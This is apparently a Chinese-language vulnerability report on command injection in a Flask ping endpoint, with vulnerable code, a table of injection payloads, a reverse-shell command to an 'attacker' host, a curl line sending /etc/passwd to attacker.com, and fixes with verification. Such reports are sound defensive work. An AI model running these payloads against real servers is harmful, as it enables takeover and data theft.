

命令执行漏洞报告

测试目标: Flask Ping 网络诊断功能
漏洞位置: POST /ping
报告日期: 2026-07-14

漏洞概述

Ping 功能使用 `f"ping -c 3 {ip}"` 拼接命令并以 `shell=True` 执行，未对用户输入做任何过滤，导致任意命令执行。

漏洞代码

```
cmd = f"ping -c 3 {ip}"
output = subprocess.check_output(cmd, shell=True, timeout=30)
```

漏洞详情

#	攻击手法	Payload	结果
1	分号注入	8.8.8.8;id	 uid=0(root)
2	管道注入	127.0.0.1 ls	 目录列表
3	逻辑与	127.0.0.1&&uname -a	 内核信息
4	反引号注入	127.0.0.1`whoami`	 root
5	读取文件	127.0.0.1;cat /etc/passwd	 用户列表
6	读取配置	127.0.0.1;cat /etc/hosts	 hosts
7	网络探测	127.0.0.1;ifconfig	 网卡信息
8	创建文件	127.0.0.1;touch /tmp/pwned	 文件写入

#	攻击手法	Payload	结果
9	外带数据	127.0.0.1;curl http://example.com	✔ HTTP外连

攻击场景

获取服务器控制权

```
POST /ping
ip=127.0.0.1;bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
```

反弹 Shell 到攻击者主机，完全控制服务器。

窃取敏感数据

```
POST /ping
ip=127.0.0.1;curl -s http://attacker.com/$(cat /etc/passwd)
```

将系统文件内容外带到攻击者服务器。

修复方案

输入校验

```
if not re.match(r'^[a-zA-Z0-9\.\-]+$' , ip):
    return render_template("ping.html", output="输入包含非法字符")
```

禁用 **shell=True**

```
subprocess.check_output(["ping", "-c", "3", ip], ...)
```

修复验证

测试	修复前	修复后
<code>;id</code> 注入	✗	✓ 拦截
<code>\ ls</code> 管道注入	✗	✓ 拦截
<code>&&id</code> 逻辑与注入	✗	✓ 拦截
<code>`whoami`</code> 反引号注入	✗	✓ 拦截
<code>;cat /etc/passwd</code> 文件读取	✗	✓ 拦截
<code>\$(id)</code> 子命令注入	✗	✓ 拦截
8.8.8.8 正常 Ping	✓	✓ 正常